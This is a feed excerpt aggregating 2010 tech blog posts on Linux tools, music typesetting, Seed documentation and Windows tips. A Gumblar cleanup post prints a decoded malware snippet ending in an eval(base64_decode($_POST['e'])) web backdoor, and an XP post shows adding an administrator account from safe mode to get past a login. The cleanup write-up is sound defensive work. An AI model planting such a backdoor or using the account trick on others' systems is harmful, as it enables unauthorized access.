&lt;li&gt;The constantly changing syntax made me really uncomfortable in using Lilypond for any serious purpose. Any major release, any minor release, and even any patch level contains incompatible changes, some as &amp;#8216;trivial&amp;#8217; as changing plural form for settings (yes, same code wouldn&amp;#8217;t work in later version unless using &lt;code&gt;convert-ly&lt;/code&gt; to add or remove an &amp;#8217;s&amp;#8217;). There was apparently no discussion about the names of settings used, and maintainers seemed to be toying with names arbitrarily at will.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;The problem&lt;/h3&gt;
&lt;p&gt;Everything went on as usual up to a certain point: cross-bar beaming. To put it exactly, I was completely stuck typesetting this passage (from last movement):&lt;/p&gt;
&lt;input type=&quot;hidden&quot; name=&quot;code&quot; value=&quot;&amp;#91;score lang=&amp;quot;lilypond&amp;quot;&amp;#93;&amp;#10;rh = {&amp;#10;	\key a \major&amp;#10;	\clef &amp;quot;bass&amp;quot;&amp;#10;	\time 2/4&amp;#10;	\stemUp&amp;#10;	cis,4-&amp;gt;&amp;#10;	\clef treble&amp;#10;	&amp;lt;cis&amp;#039;&amp;#039;&amp;#039; cis&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;gt;8&amp;#91; s |&amp;#10;	\numericTimeSignature \time 4/4&amp;#10;	bis&amp;#93; s &amp;lt;bis&amp;#039;&amp;#039; bis&amp;#039;&amp;#039;&amp;#039;&amp;gt;&amp;#91; s d&amp;#039;&amp;#93; s &amp;lt;d&amp;#039;&amp;#039;&amp;#039; d&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;gt;&amp;#91; s |&amp;#10;	\partial 4&amp;#10;	cis&amp;#039;&amp;#93; s&amp;#10;	\bar &amp;quot;&amp;quot;&amp;#10;}&amp;#10;lh = {&amp;#10;	\key a \major&amp;#10;	\clef &amp;quot;bass&amp;quot;&amp;#10;	\time 2/4&amp;#10;	cis,4-&amp;gt; s8&amp;#10;	\stemDown&amp;#10;	\change Staff=&amp;quot;RH&amp;quot; cis&amp;#039;&amp;#039;&amp;#91; | \change Staff=&amp;quot;LH&amp;quot;&amp;#10;	\numericTimeSignature \time 4/4&amp;#10;	s8 &amp;lt;fis,, fis,&amp;gt;&amp;#93; s&amp;#10;	\change Staff=&amp;quot;RH&amp;quot; bis&amp;#039;&amp;#91; \change Staff=&amp;quot;LH&amp;quot;&amp;#10;	s &amp;lt;cis, cis&amp;gt;&amp;#93; s&amp;#10;	\change Staff=&amp;quot;RH&amp;quot; d&amp;#039;&amp;#039;&amp;#91; \change Staff=&amp;quot;LH&amp;quot;&amp;#10;	\partial 4&amp;#10;	s &amp;lt;fis,, fis,&amp;gt;&amp;#93;&amp;#10;	\bar &amp;quot;&amp;quot;&amp;#10;}&amp;#10;\score {&amp;#10;	\new PianoStaff&amp;#10;	&amp;lt;&amp;lt;&amp;#10;		\new Staff = &amp;quot;RH&amp;quot; &amp;lt;&amp;lt; \rh &amp;gt;&amp;gt;&amp;#10;		\new Staff = &amp;quot;LH&amp;quot; &amp;lt;&amp;lt; \lh &amp;gt;&amp;gt;&amp;#10;	&amp;gt;&amp;gt;&amp;#10;	\layout {}&amp;#10;	\midi { \context { \Score tempoWholesPerMinute = #(ly:make-moment 132 4) } }&amp;#10;}&amp;#10;&amp;#91;/score&amp;#93;&quot; id=&quot;sr-f6b31d13117c20d3fd196d058dd1b16b-code&quot; /&gt;
&lt;div id=&quot;sr-f6b31d13117c20d3fd196d058dd1b16b-div&quot;&gt;
&lt;div id=&quot;sr-f6b31d13117c20d3fd196d058dd1b16b-message&quot;&gt;Music code copied to clipboard&lt;/div&gt;
&lt;p&gt;&lt;img class=&quot;scorerender-image scorerender-clip&quot; width=&quot;321&quot; height=&quot;179&quot; title=&quot;Click on image to copy music code to clipboard&quot; alt=&quot;Music fragment in &quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;While I could anticipate Mup fans introducing lots of hacks or manual drawings to attempt working around the problem, it&amp;#8217;s no cure. Changing paper size, and BOOM! All hacks and manual drawings would be broken then. Despite being placed in &lt;a href=&quot;http://www.arkkra.com/doc/wishlist.html&quot; target=&quot;_blank&quot; class=&quot;liexternal&quot;&gt;feature request list&lt;/a&gt; (#280), Mup maintainer had not even attempted touching it, while Lilypond had this feature since history. The refusal (well, almost) of Unicode support also saddens me much, though I was well aware of the fact that with currently arcane and spaghetti structured code base it sounds immensely difficult to add Unicode support. Anyway, no cross-measure beaming means 3 straight years of abandoning the project, expecting it would never finish.&lt;/p&gt;
&lt;p&gt;Yet the final blow comes recently. While checking out if Lilypond has any new feature, one particular line caught my eyes:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Vertical staff spacing using a skyline algorithm&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;It very much means an important blockade from using Lilypond was removed. Vertical distance between staffs are now automatically computed and adjusted. Though still maintaining my point of view as programmers&amp;#8217; user-unfriendly solution to typesetting and as the one I dislike most, I actually start to see the potential of finishing the whole thing with Lilypond now, despite taking much longer time than needed using Mup. That&amp;#8217;s a great disappointment, because my favorite one failed to do the job while another has progressed far enough to overcome the problem it had. Maybe the definition of love and hate should be refined after all&amp;hellip;&lt;/p&gt;
&lt;h3&gt;The point&lt;/h3&gt;
&lt;p&gt;Nothing is perfect. Perhaps using Finale and Sibelius, the &lt;em&gt;de facto&lt;/em&gt; standard, would mean less headache and less complaining, yet also means people can&amp;#8217;t easily modify it (my typesetting is certainly lousy). The reason of my insist on using text instead of point-and-click program is mainly a preference on speed &amp;mdash; I feel working much faster this way. But still, completely rejecting GUI programs could be my fault. The persistence on ignoring other tools is, in the end, a hindrance.&lt;/p&gt;
&lt;p&gt;The development models are significantly different between Lilypond and Mup:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mup is developed and maintained by (purportedly) 2 persons. Despite the open source nature, it&amp;#8217;s actually a shareware. There&amp;#8217;s a mailing list for discussion, but it&amp;#8217;s not public. There&amp;#8217;s not much discussion about development too, I&amp;#8217;d say it&amp;#8217;s a pure user discussion and announcement list.&lt;/li&gt;
&lt;li&gt;Lilypond is mainly developed by 2 persons too, though more helpers are willing to contribute, and development is more transparent, following free software paradigm.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Such difference decides their fate. Mup is completely user-oriented, so people attracted to it are mostly users who want to get the work done. This spells the pros and cons: easy to use, less tweaking (well, the way for extension is to embed PostScript directly), the wait-for-me-to-feed-you style of feature development.&lt;/p&gt;
&lt;p&gt;OTOH, Lilypond is much more programmer oriented (usage of scheme as script language, programming-like TeX syntax), so the ones it attracted are more programmer-like minded. Almost all balanced reviews (NOT those written by fanboys) regard it as one of the most difficult to learn but most flexible.&lt;/p&gt;
&lt;p&gt;The (dis)advantages of various development models have been discussed to death; I&amp;#8217;m not going to even think about it anymore. The lesson I&amp;#8217;ve learnt is, try to learn other tools, even the disliked ones. It is entirely possible that the disliked tools help accomplishing the task.&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-19T15:15:37+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-4971716205031087741">
	<title>Vern: 驱动 ThinkPad X200 无线网卡 Debian/squeeze</title>
	<link>http://www.du1abadd.org/2010/03/thinkpad-x200-debiansqueeze.html</link>
	<content:encoded>FROM: &lt;a href=&quot;http://tinyurl.com/yewgdmh&quot;&gt;http://tinyurl.com/yewgdmh&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;好像 X200 原来的无线网卡是 intel 的，不过现在换成 Realtek 了。&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=&quot;gmail_quote&quot;&gt; 03:00.0 Network controller: Realtek Semiconductor Co., Ltd. Device 8172 (rev 10)&lt;br /&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;br /&gt;下载 RTL8192SE For Linux 的驱动，&lt;a href=&quot;http://tinyurl.com/yefqho5&quot;&gt;http://tinyurl.com/yefqho5&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;1$ sudo apt-get install linux-headers-`uname -r` &lt;br /&gt;2$ tar zxf rtl8192se_linux_2.6.0015.0127.2010.tar.gz&lt;br /&gt;3$ cd rtl8192se_linux_2.6.0015.0127.2010&lt;br /&gt;4$ make&lt;br /&gt;5$ (make install 会报错。不用担心，通过下面的方法手动安装)&lt;br /&gt;6$ sudo cp HAL/rtl8192/r8192se_pci.ko /lib/modules/`uname -r`/kernel/net/wireless&lt;br /&gt;7$ sudo cp -r firmware/RTL8192SE /lib/firmware/`uname -r`&lt;br /&gt;8$ sudo reboot&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-4971716205031087741?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-03-16T11:27:04+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/windows-notes/570">
	<title>Sam Tang: 破解 XP 使用者密碼</title>
	<link>http://www.hkcode.com/windows-notes/570</link>
	<content:encoded>&lt;p&gt;如果忘記 XP 的登入密碼，以下方法可以不需安裝任何軟件及不用安裝光碟的情況下解決：&lt;/p&gt;
&lt;p&gt;1. 在啟動時按 &amp;#8220;F8&amp;#8243; 鍵，選擇 &amp;#8220;帶命令行的安全模式&amp;#8221;。&lt;/p&gt;
&lt;p&gt;2. 當出現帶有 Administrator 及其他用戶的選單時，選擇 Administrator 進入命令模式。&lt;/p&gt;
&lt;p&gt;3. 如果想恢復密碼的用戶名為 xp_user，而密碼為 new_pass，則輸入以下指令：&lt;/p&gt;
&lt;p&gt;net new_user new_pass /add&lt;/p&gt;
&lt;p&gt;4. 如果想新增一個帶管理員權限的用戶，例如新用戶名為 new_user，而密碼為 new_pass，則輸入以下指令：&lt;/p&gt;
&lt;p&gt;net user new_user new_pass /add&lt;br /&gt;
net localgroup administrators new_user /add&lt;/p&gt;
&lt;p&gt;5. 重新開機便可以使用新密碼登錄。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-16T08:16:22+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/569">
	<title>Sam Tang: Linux: 將檔案的 Tabs 字元用空白取代</title>
	<link>http://www.hkcode.com/linux-bsd-notes/569</link>
	<content:encoded>&lt;p&gt;在 Linux 下有一個工具 &amp;#8220;expand&amp;#8221;，它可以將檔案內所有 tabs 字元轉換為空白字元， 用法如下：&lt;/p&gt;
&lt;p&gt;expand input.file &gt; output.file&lt;br /&gt;
expand data.txt &gt; output.txt&lt;br /&gt;
expand -t 2 data.txt &gt; output.txt&lt;/p&gt;
&lt;p&gt;上面第三行的參數 -t 是定義用多少個空白字元取代 tabs。而另一個工具 &amp;#8220;unexpand&amp;#8221; 則與 &amp;#8220;expand&amp;#8221; 剛剛相反， 是將空間字元轉換為 tabs 字元。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-11T13:07:07+00:00</dc:date>
</item>
<item rdf:about="http://roojs.com/index.php/View/189/Seed_doc_updates_and_Gio_async_directory_listing.html">
	<title>Alan Knowles: Seed doc updates, and Gio async directory listing</title>
	<link>http://roojs.com/index.php/View/189/Seed_doc_updates_and_Gio_async_directory_listing.html</link>
	<content:encoded>&lt;a href=&quot;http://roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
         
The &lt;a href=&quot;http://devel.akbkhome.com/seed/&quot;&gt;documentation for seed gobject introspection&lt;/a&gt; is improving continually, I now have a &lt;a href=&quot;http://live.gnome.org/Jhbuild&quot;&gt;jhbuild&lt;/a&gt; virtual machine, which is picking up the latest versions from git.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In addition many of the documentation details have been expanded, including&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Interfaces, Enums&lt;/li&gt;&lt;li&gt;callback methods are now documented&lt;/li&gt;&lt;li&gt;More libraries have been added.&lt;/li&gt;&lt;li&gt;More doc comments can be picked up&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;With better documentation it's finally possible to figure out how to use the API. A classic example of this was a small problem I tried to solve before the API documentation was available. Listing a directory asynchronously, It took me over an hour to get close to figuring out how to do this, I eventually had to give up. as digging through the source, C reference and GIR files took so long.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;However within 5 minutes with the documentation, I was able to write a small script to do this.&lt;/div&gt;&lt;pre&gt;Gio = imports.gi.Gio;
Gtk = imports.gi.Gtk;

var f = Gio.file_new_for_path('/home/');
f.enumerate_children_async (
        &amp;quot;*&amp;quot;,  
        Gio.FileQueryInfoFlags.NONE, 
        GLib.PRIORITY_DEFAULT, 
        null, 
        function(o,ar) {
          // listing completed..
           var fe = f.enumerate_children_finish(ar);&lt;br /&gt;           var ch = false;&lt;br /&gt;           while (ch = fe.next_file(null)) {
               Seed.print(ch.get_name());        
           }
           Seed.quit();
    
        },
        null);

Gtk.main();&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-03-08T04:52:00+00:00</dc:date>
</item>
<item rdf:about="http://blog.xychen.org/archives/2010/03/06/new-look-of-ubuntu/">
	<title>來醫: Ubuntu 新 Look</title>
	<link>http://blog.xychen.org/archives/2010/03/06/new-look-of-ubuntu/</link>
	<content:encoded>&lt;p&gt;&lt;img id=&quot;image772&quot; src=&quot;http://blog.xychen.org/wp-content/uploads/2010/03/4405063702_907b40fcc4_o.png&quot; alt=&quot;Ubuntu New Light Theme&quot; align=&quot;right&quot; class=&quot;frame&quot; /&gt;&lt;/p&gt;

&lt;p&gt;早幾日，Ubuntu 正式發佈了在四月將推出的 Ubuntu 10.04 LTS (Lucid Lynx) 將大改形象，揚棄一直以來啡橙色調 Human 佈景主題。預設桌面背景改為紫色，面板和視窗標題則提供銀/黑兩款。說實, 我覺得這個新主題佈景一般，Mac 感太重。喜見 status icon mono-tone 化，但連 main menu 個 logo 都 mono-tone 就似乎太單調。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://chrome.google.com/extensions/detail/elnmibmpefhmfgphdphdncoogpbfmlbp&quot;&gt;Ambiance Theme for Chrome/Chromium&lt;/a&gt; - 配合 Ubuntu 10.04 黑佈景主題 Ambiance 的 Chrome/Chromium 佈景主題。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://chrome.google.com/extensions/detail/mikdfeaeaecoffpjoodiihgejnbfigln&quot;&gt;Ambiance Scrollbar for Chrome/Chromium&lt;/a&gt; - 配合 Ubuntu 10.04 黑佈景主題 Ambiance 的 Chrome/Chromium Scrollbar。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://chrome.google.com/extensions/detail/jihgfeeclhncpbfooelegndmmfkegkni&quot;&gt;Wasp Scrollbar for Chrome/Chromium&lt;/a&gt; - 配合 Ubuntu 黑佈景主題 Wasp 的 Chrome/Chromium Scrollbar。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://chrome.google.com/extensions/detail/bmnhkobodnodgeogkjceeheondfmnjmd&quot;&gt;Dust Scrollbar for Chrome/Chromium&lt;/a&gt; - 配合 Ubuntu 黑佈景主題 Dust 的 Chrome/Chromium Scrollbar。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://elgandoz.deviantart.com/art/Elementary-Chromium-153397567&quot;&gt;Elementary Scrollbar for Chrome/Chromium&lt;/a&gt; - 配合 Ubuntu 黑佈景主題 Elementary 的 Chrome/Chromium Scrollbar。&lt;/li&gt;
&lt;/ul&gt;</content:encoded>
	<dc:date>2010-03-05T16:58:51+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/568">
	<title>Sam Tang: Ubuntu - Firefox 的 Flash 亂碼問題</title>
	<link>http://www.hkcode.com/linux-bsd-notes/568</link>
	<content:encoded>&lt;p&gt;在 Google 找了一下，應該是 /etc/fonts/conf.d/49-sansserif.conf 出問題，只要將檔案移除或移到其他地方就可以：&lt;/p&gt;
&lt;p&gt;sudo mv /etc/fonts/conf.d/49-sansserif.conf /etc/fonts/conf.d/49-sansserif.conf.bak&lt;/p&gt;
&lt;p&gt;輸入以上指令後，只要重新啟動 Firefox，就可以看到問題解決了。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-05T03:50:10+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/567">
	<title>Sam Tang: vi 方向鍵及 backspace 的問題</title>
	<link>http://www.hkcode.com/linux-bsd-notes/567</link>
	<content:encoded>&lt;p&gt;在 Ubuntu 上面有時編輯一些設定檔時會直接用 vi 來做，但預設安裝 Ubuntu 後用 vi 開啟檔案，會發覺方向鍵及 backspace 鍵不能使用，解法方法是在家目錄建立 .vimrc 檔案，然後加入以下內容：&lt;/p&gt;
&lt;p&gt;    set nocompatible&lt;br /&gt;
    set backspace=2&lt;/p&gt;
&lt;p&gt;儲存檔案後離開，下次使用 vi 開啟檔案就可以使用方向鍵及 backspace 了。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-05T01:32:41+00:00</dc:date>
</item>
<item rdf:about="http://roojs.com/index.php/View/188/Reported_Attack_Site__recovering_from_gumblars.html">
	<title>Alan Knowles: Reported Attack Site - recovering from gumblars</title>
	<link>http://roojs.com/index.php/View/188/Reported_Attack_Site__recovering_from_gumblars.html</link>
	<content:encoded>&lt;a href=&quot;http://www.roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
         
 
  &lt;div&gt;
   &lt;p&gt;Just about finished a gumblar cleanup, for a small Hong Kong company. This is not the first crack I've seen in the last few months, I fixed another server last month that got ssh brute force attacked. It looks like cracking is on the up, so if you need help fixing a site, by someone who knows what they are doing, and at the same time you will help out a number of open source projects - give me a bell (alan@akbkhome.com)&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;The gumblar (or derivative) attack I was looking at was quite interesting, the first indication the owner got was that browsers kept showing the &amp;quot;Reported Attack Site!&amp;quot; or &amp;quot;Warning: Visiting this site may harm your computer&amp;quot; message. So I get the call to find out what's going on.&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;When you ignore the message and go through to the site, look at the HTML the first thing you see is that there is a &amp;lt;script&amp;gt; tag added just before the body pointing to a gifimg.php file. After that you have a long hunt around google to find out what's going on.&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;At the time of writing, the exact attack vector does not look like it's been confirmed, but is either a brute force ftp attack (I think is quite unlikely considering the username/pass combo on this sample site). Or more likely a PDF desktop attack to a machine that has access to the site.&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;My first assumption was that it was a Wordpress exploit, but the more I examined the situation, it seemed less likely. However I highly suspect that the PDF attack vector having got the ftp credentials goes looking for standard locations of wordpress installations (eg. '/wordpress) - so hint one is not to install your software in such obvious places.&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;h3&gt;Cleaning it out&lt;/h3&gt;
   &lt;p&gt;The first step in sorting out the mess was to mirror the original site, with virus and all onto a offline location. (both as a precaution that if we broke things we had a backup, and so we can use this as a source to replace the hacked files with new ones).&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;After that it was a matter of googling for details of the attack and writing a &lt;a href=&quot;http://www.akbkhome.com/svn/akpear/_scratchpad_/gumbar_clean.php&quot;&gt;gumblar cleaner script.&lt;/a&gt; It basically checks for infected file types, then preg_replaces out the hacked additions. These include&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span lang=&quot;en-US&quot;&gt;	php files with an eval/base64_encode line&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang=&quot;en-US&quot;&gt;	javascript files with document.write lines&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang=&quot;en-US&quot;&gt;	html, shtml and htm files with &amp;lt;script tags.&lt;/span&gt;    &lt;/li&gt;&lt;/ul&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;
   &lt;/p&gt;&lt;p&gt;&lt;span lang=&quot;en-US&quot;&gt;I used ftpput, and check return values, to ensure that each file was successfully replaced before overwriting the local copy and making a nice copy for my reference into the virus folder.&lt;/span&gt;&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;
   &lt;/p&gt;&lt;h3&gt;&lt;span lang=&quot;en-US&quot;&gt;Inside out of the attack.&lt;/span&gt;&lt;/h3&gt;
   &lt;p&gt;&lt;span lang=&quot;en-US&quot;&gt;The infection is quite interesting, and in this case was quite painful, due to the nature of how Wordpress publishes files.&lt;/span&gt;&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;&lt;span lang=&quot;en-US&quot;&gt;Initially I suspect the core code in the PDF actually has some ftp code which will try and modify standard set of PHP files to add a small base64_encode script.. (phplist, and wordpress appear to be core targets, and I'm sure there are more.)&lt;/span&gt;&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;&lt;span lang=&quot;en-US&quot;&gt;This is a snippet of some of the code that get's added (it's all eval, base64_encoded - read up on my blog post about idiot ways to protect your PHP code using this idea.)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;This is a snippet of the decoded script&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;if(!function_exists('kqyf')){&lt;br /&gt;   function kqyf($s){&lt;br /&gt; &lt;br /&gt;     ... infect the page stuff goes here...  &lt;br /&gt;	}&lt;br /&gt;	function kqyf2($a,$b,$c,$d){&lt;br /&gt;		global$kqyf1;&lt;br /&gt;		$s=array();&lt;br /&gt;		if(function_exists($kqyf1))&lt;br /&gt;			call_user_func($kqyf1,$a,$b,$c,$d);&lt;br /&gt;		foreach(@ob_get_status(1)as$v)&lt;br /&gt;			if(($a=$v['name'])=='kqyf')&lt;br /&gt;				return;&lt;br /&gt;			elseif($a=='ob_gzhandler')&lt;br /&gt;				break;&lt;br /&gt;			else&lt;br /&gt;				$s[]=array($a=='default output handler'?false:$a);&lt;br /&gt;		for($i=count($s)-1;$i&amp;gt;=0;$i--){&lt;br /&gt;			$s[$i][1]=ob_get_contents();&lt;br /&gt;			ob_end_clean();&lt;br /&gt;		}&lt;br /&gt;		ob_start('kqyf');&lt;br /&gt;		for($i=0;$i&amp;lt;count($s);$i++){&lt;br /&gt;			ob_start($s[$i][0]);&lt;br /&gt;			echo $s[$i][1];&lt;br /&gt;		}&lt;br /&gt;	}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$kqyfl=(($a=@set_error_handler('kqyf2'))!='kqyf2')?$a:0;&lt;br /&gt;eval(base64_decode($_POST['e']))  &lt;!-- For more information visit http://www.abisource.com.    --&gt;&lt;br /&gt;  &lt;/pre&gt;
 
 
  &lt;div&gt;
   
   &lt;p&gt;After that wordpress does it's wonders and infects the rest of the site for you. As all the generated pages suddenly get the extra &amp;lt;script tags&amp;gt; when publishing and your wordpress outputs the infection into the admin system.&lt;/p&gt;&lt;p&gt;Note: I only dissected one of the php scripts, which changed output buffering adding the &amp;lt;script tag, but did not see the document.write changer. I suspect there may be another variant of the script above that i did not look at that modifies the javascript files, or that it's done remotely.&lt;/p&gt;
   &lt;p&gt;
   &lt;/p&gt;&lt;p&gt;Anyway all cleaned up after a few days (due to the long time the original backup took) . After this the recommendations for the owner where, stop using adobe PDF viewer (there are alternatives out there) - stop using IE, ask all staff to use Firefox with noscript. and keep a backup!&lt;/p&gt;
  &lt;/div&gt;
 &lt;/div&gt;</content:encoded>
	<dc:date>2010-03-03T07:58:00+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-2623867737968357576">
	<title>Vern: debian/testing 的 msmtp 发不出邮件</title>
	<link>http://www.du1abadd.org/2010/03/debiantesting-msmtp.html</link>
	<content:encoded>FROM: &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=564661#129&quot;&gt;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=564661#129&lt;/a&gt;&lt;br /&gt;&amp;gt; Premysl Hruby &amp;lt;&lt;a href=&quot;mailto:dfenze@gmail.com&quot;&gt;dfenze@gmail.com&lt;/a&gt;&amp;gt; writes:&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; &amp;gt; gsasl: initialization failure: Low-level crypto error in SASL library&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; I believe this means libgsasl was built against libgcrypt in unstable,&lt;br /&gt;&amp;gt; but you are running libgsasl with libgcrypt from testing.  The version&lt;br /&gt;&amp;gt; comparison fails in libgsasl (unstable 1.4.5 &amp;gt; testing 1.4.4) so&lt;br /&gt;&amp;gt; libgsasl refuses to work.&lt;p&gt;发不出邮件，提示我&amp;quot;SASL 库中出现低级加密错误&amp;quot;，检查发现和 msmtp 采用的&lt;br /&gt;加密库 GNU SASL 有关&lt;p&gt;执行 gsasl --client-mechanism 可检测加密库是否正确，&lt;br /&gt;$ gsasl --client-mechanisms&lt;br /&gt;gsasl: 初始化失败：SASL 库中出现低级加密错误&lt;br /&gt;$ wget &lt;a href=&quot;http://ftp.kr.debian.org/debian/pool/main/libg/libgcrypt11/libgcrypt11_1.4.5-2_i386.deb&quot;&gt;http://ftp.kr.debian.org/debian/pool/main/libg/libgcrypt11/libgcrypt11_1.4.5-2_i386.deb&lt;/a&gt;&lt;br /&gt;$ dpkg -i libgcrypt11_1.4.5-2_i386.deb&lt;br /&gt;$ gsasl --client-mechanisms&lt;br /&gt;这个客户端支持以下机制：&lt;br /&gt;ANONYMOUS EXTERNAL LOGIN PLAIN SECURID NTLM DIGEST-MD5 CRAM-MD5&lt;br /&gt;SCRAM-SHA-1 GSSAPI&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-2623867737968357576?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-03-02T13:23:13+00:00</dc:date>
</item>
<item rdf:about="http://roojs.com/index.php/View/187/Generating_Seed_Documentation_from_Gobject_introspection.html">
	<title>Alan Knowles: Generating Seed Documentation from Gobject introspection</title>
	<link>http://roojs.com/index.php/View/187/Generating_Seed_Documentation_from_Gobject_introspection.html</link>
	<content:encoded>&lt;a href=&quot;http://www.roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
         
Job hunting is going pretty slowly (if anyone at ubuntu is listening hint hint ;) , and projects are pretty much done, so I get to work on really cool stuff.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;While developing in seed is pretty productive, hunting down the documentation, or discovering the right method to use has been one of the roadblocks I have been bumping up against. So wondered yesterday how well the introspection code in seed works.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Turns out, that the built in Seed.introspection() method is pretty pointless, even after committing a few extra features, I discovered it was never going to be much help. However girepostory has it's on gir/typelib file, so you can call introspection directly.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After a few experiments, I worked out to inspect basically every method, and class in Gnome. Hence there is now full documentation for every Gnome Class that seed can talk to (this does not include libxml however, as it does not use gir to talk to that.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Support for doc comments (by parsing the gir files) is there, but the machines I build on unfortunately have rather old gir files, which do not include all the docs comments.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This code could be very easily refactored to generate docs for pygi, gjs or vala.. or any other gir based binding..&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For your viewing pleasure..&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;http://devel.akbkhome.com/seed/index.shtml&quot;&gt;Seed Gnome Documentation&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If it's not working, it's probably as I'm working on it and have broken it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The code is in my &lt;a href=&quot;http://www.akbkhome.com/svn/seed/&quot;&gt;seed subversion repo&lt;/a&gt; the key files that do all the work are JSDOC/Introspection.js, and docs.js The rest of the code just deals with Template parsing and handling (/docs/* are the templates)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To run it you need cutting edge seed (which can take quite a while to set up as it depends on a recent webkit build)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Enjoy.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-02-25T14:18:00+00:00</dc:date>
</item>
<item rdf:about="http://www.punknix.com/136 at http://www.punknix.com">
	<title>Punky Tse: DNMA92, ath9k and hostapd with Voyage Linux</title>
	<link>http://www.punknix.com/dnma92-ath9k-and-hostapd-with-voyage-linux</link>
	<content:encoded>&lt;p&gt;
